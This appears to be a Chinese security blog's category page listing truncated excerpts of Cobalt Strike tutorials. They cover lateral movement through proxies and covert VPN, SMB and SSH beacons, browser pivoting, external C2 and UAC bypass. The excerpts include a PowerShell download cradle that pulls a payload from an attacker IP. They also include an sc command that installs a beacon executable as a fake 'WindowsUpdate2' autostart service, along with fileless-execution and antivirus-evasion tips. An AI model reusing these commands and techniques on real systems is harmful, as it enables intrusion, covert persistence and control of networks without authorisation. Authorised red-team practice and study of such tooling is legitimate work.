分类 - Cobalt Strike

2020-06-17 19:52:29    3891    0    0

2020/8/13 更新:

关于这篇文章,好多人在实操的过程中可能遇到了问题。可能是我写的不仔细吧,所以我新写了一个图示版,可以结合此文阅读:

本文证书部分参考的英文文章链接为(此文只有一部分是跟证书有关的):

希望你们一切顺利!


原文:

前情提要

  • 现在已经获得了第一台 DMZ 机器(192.16.11.248)的初始权限,发现这台机器在域中。
  • 在此机器上抓到了一个域账号(服务账号)的有效明文密码。
  • 在 C2 和初始权限机器之间架设 frp 隧道,使用初始权限机器做代理、使用 impacket 套件中的 wmiexec 脚本获取了第二台欲横向机器的交互式 shell。
  • 想要使第二台机器(192.16.0.134) CS 上线。

网络环境探测

netstat -ano

title

title

title

  • 通 192.168.11.x 内网段
  • 通外网,但主要是 80、443 端口

ICMP 出网:

title

TCP 出网:

title

通过 TRACERT 看出来到出网就1跳,所以应该没有什么流量监测或者网络防御设备。

title

看到可以直接 TCP 出网,外加目标是 Windows2008 R2 环境,没 Windows Defender 的阻力,于是我直接用 reverse_http 类型监听器生成的 Powershell payload 进行上线,但是上线失败。

title

  1. powershell.exe -nop "((new-object net.webclient).downloadstring('http://47.52.x.x:443/a'))"

发现 powershell payload 都没下载成功,因为我使用的端口已经是 443,所以排除了放行端口的问题。但是把 payload 托管到 pastebin 网站上,IEX 执行可以正常上线,但是上线之后的 shell,无法执行命令,仅有心跳。所以猜测 http 通信遭到了拦截。

AV 探测

  • net start
  • C:\>tasklist /svc
2020-05-17 09:16:16    1625    0    0

0x01 前言

title

本文就是对这个问题的回答。要达成的效果是:通过一个马直接让内网机器上线(走内网中可出网机器的代理)。

但是当我答应我的狗朋友帮忙测试的时候,我也没想到我能因为这个功能踩那么多坑。

0x02 实验环境

title

注:DMZinternal 的操作系统都是 Windows 2008 R2。

  • DMZ 出网,已上线 CS。
    title

  • internal 不出网,只跟 DMZ 内网通。
    title

    注:我是通过限制安全组的方式来模拟不出网环境的。
    internal 的安全组:
    title
    title

  • 两台机器之间走内网互通,走外网不通。
    title

    title

    title

0x03 思路与操作

上线思路

title

最终上线路径为:

172.17.30.206172.17.30.205:80(HTTP代理)→ 123.57.227.115:8080(端口转发)→ 47.110.145.157(HTTP 协议监听器上线)

操作步骤

1、dmz 机器上线,方式:Scripted Web Delivery powershell 脚本(此 DMZ 机器是 2008 r2)

title

2、dmz 机器架设 HTTP 代理

注:为什么这里是 HTTP 代理而不是 socks5 代理,因为记忆中 Cobalt Strike 只支持 socks4a(未确认)。

在下常用的一些代理搭建项目:

项目 代理类型 备注 参考
tinyproxy HTTP 依赖 docker 环境快速部署 快速搭建 HTTP 代理
tor socks 匿名性好,速度慢 快速搭建 HTTP 代理
esocks socks5 快速部署依赖 Java 环境 快速搭建 HTTP 代理
goproxy HTTP(S),SOCKS5,WEBSOCKET, TCP, UDP 编译好的单文件不依赖任何环境 goproxy

在这里我用的是 goproxy 在这个 win 2008 r2 上架设 socks 5 代理,毕竟绿色软件,单 exe 即可。

2020-05-15 14:14:03    1330    1    2

因为网上似乎没有关于这个功能的文章,至少中文真的没找到。所以为了应应急,我先记录下操作,原理这周末再慢慢分析。

对了,这是哪个功能呢?对应 CS 手册中第九章 9.5 隐蔽 VPN

title

实验环境

失陷机器:

title

目标网络:

title

操作过程

1、 部署 VPN

title

title

Launch 之后,在 VPN Interfaces 这里可以看到刚刚部署的 VPN 接口:

title

Beacon Shell 里面也可以看到:

title

2、 使用 VPN

在团队服务器中,配置刚刚的 VPN 接口:

先连接到刚刚的 VPN 接口,能找到此设备:

title

然后手动给他配置一个目标网络中的内网地址,如:

  1. sudo ifconfig phear0 192.168.3.145/24

title

然后就可以通目标内网了哦:

title

回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:

title

常见错误

之前我试过 UDP(理论上 VPN 部署最好的 tunnel),但是失败了。也试过了 TCP(Bind) 也失败了。如果一种协议不通,那么如下图。client 那里会显示 not connectedtxrx 也没有收发的数据字节数。

title

虽然网卡设备在 CS 团队服务器主机上能找到,但是实际并没有进目标内网:

title

所以要选择可通的协议来部署隧道。

Channel 包括:

  • UDP
  • HTTP
  • ICMP
  • TCP(Bind)
  • TCP(Reverse)

根据实际情况选择合适你的场景的。

What's More

当你的 CS 团队服务器获取了一个目标内网的网卡之后,然后呢?

然后你可以,比如:

  • msf 攻击,LHOST 设置为此 VPN 接口的 IP 即可,在上面的例子中就是 192.168.3.145
  • 通过【SSH 会话】的方式继续对一些 UNIX 目标进行后渗透。比如,在目标外网你无法 SSH 上去的情况,现在就有办法了(参考 使用 Cobalt Strike 对 Linux 主机进行后渗透)。
  • ......

这几天很忙,原理周末有时间再补上。


参考文档:

  1. VPN Pivoti
2020-05-12 12:39:03    2306    0    0

2020/6/19更新:

通过命名管道 psexec 通过 SMB Listener 横向过去的话,会在 admin$ 共享路径下上传一个 exe 文件,这样可能过不了杀软。

title

但是 SMB Beacon 可以生成 Stageless 的 PowerShell payload。

title

如果把此 ps1 放到远程进行下载、IEX 执行就可以无文件绕过查杀,结合 https 监听器即可。

谢谢 @undefined 师傅教我。


昨天一个朋友问我 SMB Beacon 怎么上线,我想在网上找篇文章给他没找到,于是自己写一篇。既然我写了那么多 CS 教程都忘了写这篇,也算是填个坑,可能你们 HW 时候用得到。

0x01 主机1 - 初始权限

  • 主机1:Windows 2008 R2 企业版 64位数中文版

小声bb:为什么选这个做实验,因为它防护少。不像 2019 那么变态(默认开 defender),这样一会儿就要涉及免杀了。选 2008 做实验,省掉不少烦恼。再者,昨天我朋友遇到的真实环境也真的是 2008。我这几台主机上面防护软件就只有阿里云盾 AliYunDun.exe

通过 Scripted Web Delivery(powershell) 生成的 payload 上线第一台主机,其 hostname 为 father

title

既然已经是 Administrator 权限,就省去了提权的步骤。

0x02 主机2 - SMB 上线

SMB Beacon 的使用场景是:

Klion《CobatStrike 各个协议监听器及 payload 详细用法 》:

当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地 administrator 密码且这台机器的 SMB[445 端口]能正常通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 能不能把内网

2020-02-09 23:02:14    10035    0    4

因为 Cobalt Strike 只能生成针对 Windows 的有效载荷,并不是全平台的。所以使用 Cobalt Strike 对 Linux 主机进行后渗透常常被人忽略。但是其实是可以做到的。

主要是为了对目标网络形成控制链。长话短说,有两种方法可以在 Cobalt Strike 中让 Linux 主机上线:

0x01 方法一:SSH 会话

1、原理篇

【SSH 会话】是针对 UNIX 目标进行后渗透的 Cobalt Strike 工具。

使用 【SSH 会话】 作为 agent 有两个前提:

  1. 你已经有1个 Windows Beacon Shell 了。因为这个 Linux 的 Beacon 需要从一个 Windows Beacon 来初始化;
  2. 需要知道 Linux 主机的可登录的 SSH 凭据。

那么你可能会问了,那如果有了 SSH 凭据,为什么我不自己登上去看,还非要上个 CS 干什么,毕竟 CS 又不是稳控。

个人认为这主要是为了在后渗透的网络拓扑中把目标网络的主机们串起来,便于横向。因为 SSH 会话生成的 Beacon 还具有连接到 TCP Beacon 的功能。这样可以形成一个 WinLinuxWin 的拓扑链。

那么为什么使用 【SSH 会话】 作为在目标机器上的 agent?

  • 功能上:
    • 可以上传、下载、执行命令和作为跳板
    • 支持加密通讯
    • 在多种操作系统和架构的环境中生效
  • 目标上自带。大多数 UNIX 目标中已经提供了 SSH 程序。

功能上已经实现了 Beacon 的基本功能了。如果要重新设计创建具有以上这些特性和功能的一个 agent,并且让此 agent 在多种操作系统和架构的主机环境中生效是非常困难的。而且 SSH 会话还是绑定代理(bind agent),因此从概念上讲,它非常适合 Cobalt Strike 的模型,可以用于进一步连接到 TCP Beacon。

注:如果想要自定义配置 agent 可以使用 dropbear SSH 软件。它是一个小型 SSH 服务器,你可以在编译时将自定义配置嵌入到其中,与这个特定的客户端功能搭配使用,这可能是一个很好的后门。

2020-02-06 12:05:06    1781    0    0

0x01 权限维持

当目标机器重启之后,驻留在 cmd.exepowershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。

可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。

本文中通过一个 Github 上的 Cobalt Strike 后渗透测试插件 Erebus 以服务的方式进行权限维持操作。

  1. https://github.com/DeEpinGh0st/Erebus

前提:

Beacon Shell 必须是高权限,不然通过 SC 命令加服务的话不会成功。

第一步:加载 cna 脚本

Cobalt StrikeScript ManagerLoad → Erebus 中的 Main.cna

第二步:生成 Payload 可执行文件

AttacksPackagesWindows Executable(S)

title

保存为 xiaoxue.exe

  • Stage 的地方填团队服务器上的 reverse_http 监听器

第三步:上传 payload 可执行文件至目标主机

通过 Cobalt Strike 的 File Browser 进行上传。

title

title

  • 这里要注意:首先上传的文件路径最好没有空格,不然可能会导致错误;其次最好上传至彩色(不是灰色的)的文件夹路径下。

第四步:通过插件添加服务

title

title

title

然后就通过 SC 命令把此 xiaoxue.exe 添加进了开机启动项,从而初始了一个权限为 SYSTEM 的 Beacon。

其效果等同于在 Beacon 控制台中输入:

  1. shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\Windows\system32\xiaoxue.exe""&&sc config "WindowsUpdate2" start= auto&&net start WindowsUpdate2

同样会上线一个 Beacon Shell:

title

title

注意一定不要在普通

2020-02-03 00:57:03    1684    0    0

0x01 概念介绍

浏览器跳板攻击(Browser Pivoting)是一个应用层的跳板技术。

设想一个场景:

攻击者获取了目标机器的 Beacon shell,然后通过 Cobalt Strike 的 screenshot 工具进行截屏,看到受害机上的终端用户正在与 web 应用程序进行交互,比如登陆了在线邮箱,正在邮箱应用的网页版客户端查看邮件。这种应用对于实现后渗透目标具有很高的价值。

如何去利用这些 web 应用呢?

【浏览器跳板攻击】就是适用于这种场景的一种攻击方式。

简单来说,浏览器跳板攻击可以让攻击者以受害主机上的终端用户的身份来访问浏览器上开着的应用。攻击者可以继承目标用户对于网站的访问权限,相当于直接跳过了对于浏览器上的应用程序的身份验证。

title

【浏览器跳板攻击】使攻击者可以用自己的浏览器通过目标的浏览器中继请求。这使攻击者可以以目标用户的身份与应用网站进行静默交互、实现后渗透目标。

但是,前提是终端用户必须使用 Internet Explorer 浏览器(iexplore.exe),也就是说,只可以以目标用户的身份访问目标用户开在 Internet Explorer 浏览器中的那些应用(区别于 explorer.exe),无法访问终端用户开在 Edge、Chrome 浏览器上的那些应用。

0x02 实现原理

下面介绍【浏览器跳板攻击】的实现原理。

如果使用 socks 跳板/代理跳板来访问受害机终端用户打开的那些 web 应用,就无法通过身份认证:

title

那为什么浏览器跳板攻击与 socks 跳板不同,可以通过身份认证呢?

title

关键点在于 WinINet 这个库。工作原理是:

  1. 进程注入。浏览器跳板技术将一个 agent(代理)注入到 IE 浏览器进程中;
  2. 在团队服务器上创建一个 HTTP 代理服务器。到时候攻击者通过请求此代理服务器的 IP 和端口,进而变成了 agent 的一个请求任务;
  3. 当攻击者从自己的浏览器请求 web 应用时,IE 中的 agent (代理)将此请求转化为对 WinINet 库的 API 调用;
  4. 恰好, WinINet 也是 IE 浏览器用于 web 通信和管理身份认证的库
2020-01-27 18:54:16    5412    0    1

0x01 前言

  • 本文主要是看了 Cobalt Strike 4.0 Youtube 官方教程第一课【Operations】之后记的笔记,资源见参考文档。
  • 教程的授课者是 Cobalt Strike 的创造者 Raphael Mudge。可以说没人比他更权威了。
  • CS 系列教程及手册的好处就在于其中融入了很多红队的思想、策略和模型,CS 自己的定位也是「缩小渗透测试工具和高级威胁恶意软件之间的差距」这样一个工具。学习 CS 对了解后渗透帮助颇多。
  • 本文记录的视频对应了 CS 手册的第一章 Operations ,也就是操作。笔记记录是有选择的,一些基本的 CS 中的东西比如 可拓展 C2cna 插件团队服务器,因为关于这些的基本操作我已经了解了,就没有记。

闲话不多说,下面进入笔记正文部分。

0x02 基础概念

要了解一个领域,就要先了解其领域内的概念范畴。CS 中的一些概念包括:

  • agent
    agent 的本意为代理。当攻击者通过代码执行,有一个 agent 运行在目标网络中,就可以对目标网络进行命令与控制。所以 agent 实际上相当于 Beacon payload。

  • Staging 服务器
    在 Cobalt Strike 中,为了获取目标主机的 Beacon shell,必须先要传送 payload。payload 就是攻击执行的内容。
    传递 payload 时候,根据目标的网络、主机环境,可以选择分阶段传递 payload,也可以不分阶段直接丢一个 payload。
    分阶段传递中,Payload 通常被分为两部分:payload stagepayload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个 payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
    staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透 payload。
    在这里的 staging server,其实是指最开始用于传递

2020-01-20 23:34:47    3217    0    0

0x01 什么是外部 C2?

C2 就是 Command & Control Server 的简称,也就是命令与控制服务器。

如下图是 C2 的大致通信模型。实现 C2 通信有时候很难,因为出口防火墙规则限制或进程限制。

title

Cobalt Strike 的团队服务器其实也是一种 C2 服务器。CS 的客户端相当于上面的「客户端」,CS 的团队服务器相当于上面的「攻击者的C2」。另外 CS 中,团队服务器会将要执行 的任何动作都以计划任务列表的形式进行管理,也就是说,在不考虑通信协议的前提下,CS 中的 C2 通信流程大概为:

  1. 通过 CS 客户端发送到团队服务器的任何动作都会被弄成计划任务的形式依次排队(这也就是 beacon 内置的那个 job 命令存在的实际意义);
  2. 而后等着目标机器上的负载(payload)来下载这些计划任务列表中的具体指令去目标机器上执行;
  3. 随后再依次把执行完的结果回传给 CS 团队服务器,团队服务器再回显至 CS 客户端。

现在的 Cobalt Strike (4.0版本之前)中,比较常用的 C2 通信方式是使用反向 shell 和反向 HTTP C2 通道。然而随着时间和防御水平的提高,这种「传统方法」势必会越来越难以生效。

title

在这种情况下,势必需要一些实现 C2 通信的替代方法,外部 C2 就是这样的一种方法。

在 Cobalt Strike 4.0 中,对监听器类型做了扩充,直接加入了外部 C2 的 Payload 选项。

title

但其实,外部 C2 并非 CS 4.0 才有。之前的 Cobalt Strike 版本中(外部 C2 是自 Cobalt Strike 3.6 引入的功能),也一直有提供外部 C2 接口、允许第三方程序充当 Cobalt Strike 与其 Beacon payload 之间的通信层。只是没有直接在监听器这里加入这种 Payload 选项。

外部 C2 也不仅仅是 Cobalt Strike 才有,一些框架都会提供外部 C2 的方法,比如 MSF。

总之,我们看到了未来的方向:基于但不限于框架、使用多种方法、拓展协议实现 C2 通信。

0x02 外部 C2 的通信模

2020-01-19 16:55:43    2258    0    1

2020/1/21更新:

CS 手册 4.0 中说:

Cobalt Strike 附带了一些绕过 UAC 的攻击。但如果当前用户不是管理员,攻击会失效。要检查当前用户是否在管理员组里,使用 run whoami /groups 命令。

所以本文中使用 uac-dlluac-token-duplication 这两个 CS 中注册的 bypass UAC 模块的姿势不对,需要先提权,Administrator 或者 SYSTEM 权限。然后再通过 elevate 命令使用这些 Bypass UAC 的模块。


原文:

0x01 前言

本文只是记录下基本操作。这些操作都是我在读 Cobalt Strike 官网的 CS 4.0 手册的过程中自己无中生有凭空想出来的,所以方法可能不是很主流,有点繁琐、操作较麻烦,但是也是我自己试了完全可行的。慢慢探索更简单的道路吧、本菜鸡对自己要求不是太高,注重对自己创造力的培养。

实验环境: Cobalt Strike 3.14 非试用版
受害机器:有 360(ZhuDongFangYu.exe) 的 WIN10

本文看点:

  • Cobalt Strike Elevate 模块 BypassUAC 方法测试
  • MSF 和 CS 联动来 Bypass UAC
  • MSF → Meterpreter 方向弹 shell

0x02 Cobalt Strike 中的提权命令

一些后渗透命令要求系统管理员级别的权限。Beacon 有几个帮助用户提升访问权限的选项。

通过 elevate 命令利用漏洞提权

输入 elevate 可以列出在 Cobalt Strike 中注册的权限提升漏洞。运行 elevate [exploit listener] 来尝试使用特定的漏洞利用来提权。

图形化的操作路径是:通过 [beacon]AccessElevate 来启动其中一个漏洞利用。

title

如图,在 Cobalt Strike 3.14 非试用版中,elevate 模块内置了:

  • ms14-058
  • uac-dll
  • uac-token-duplication

这三个模块。ms